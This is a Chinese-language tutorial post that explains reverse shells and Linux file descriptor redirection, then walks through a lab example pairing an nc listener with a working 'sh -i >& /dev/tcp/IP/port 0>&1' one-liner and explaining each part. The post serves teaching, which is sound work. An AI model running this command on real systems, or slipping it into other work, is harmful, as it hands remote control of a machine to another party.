一、什么是反弹 shell

反弹 shell(reverse shell),就是在我们自己的机器上开启监听某个端口,然后在被控制的机器上发送连接请求去连接我们自己的机器,将被控制的机器的 shell 反弹到我们的机器上。本质上就是的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

二、文件描述符

1、文件描述符

在实现反弹 shell 的命令之前,需要先了解 linux 文件描述符

文件描述符是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行 I/O 操作的系统调用都通过文件描述符

文件描述符是一个简单的非负整数,用以表明每个被进程打开的文件。程序刚刚启动时,第一个打开的文件是 0,第二个是 1,以此类推,每个程序在运行后,都会至少打开三个文件描述符,分别是 0、1、2

文件描述符通道名描述默认设备
0stdin标准输入键盘
1stdout标准输出终端
2stderr标准错误终端
3 以上filename其他文件none

除了文件描述符,还有两个符号:>&

  • > 是重定向符,就是把前面输出的内容重定向到后面指定的位置
  • & 是一个描述符,按照 C 语言的理解就是取地址符,
    • >& 后面接文件时,表示将标准输出和标准错误输出重定向至文件
    • >& 后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

比如说

1>&2 的意思是把标准输出重定向到标准错误

2>&1 的意思是把标准错误重定向到标准输出

&>filename 意思是把标准输出和标准错误输出都重定向到文件 filename 中

2、查看

怎么查看文件描述符

这里随便打开一个,查看 pid 为 1 的文件描述符

1
ls -l /proc/1/fd

三、实现反弹 shell

首先在本地(192.168.88.123)监听一个指定端口,比如 2333

1
nc -lvnp 2333

接着在被控制端(192.168.88.109)创建一个反弹 shell,连接到本地机器的 ip 上

1
sh -i >& /dev/tcp/192.168.88.123/2333 0>&1

再次查看本地机器的窗口,发现连接成功

查看系统信息,确实是将被控制的机器的 shell 反弹到我们的机器上了

四、命令解读

1
sh -i >& /dev/tcp/192.168.88.123/2333 0>&1

sh -i代表在本地打开一个 sh

>& 后面接/dev/tcp/ip/port ,代表将标准输出和标准错误传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个 sh 的标准输出和标准错误,其中: /dev/tcp/是 Linux 中的一个特殊设备,打开这个文件就相当于发出了一个 socket 调用,建立一个 socket 连接

0>&1 ,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了

五、总结

实现反弹 shell 的方式有很多,这里就是列举了其中一种

网上也有反弹 shell 在线生成的,见:Reverse Shell Generator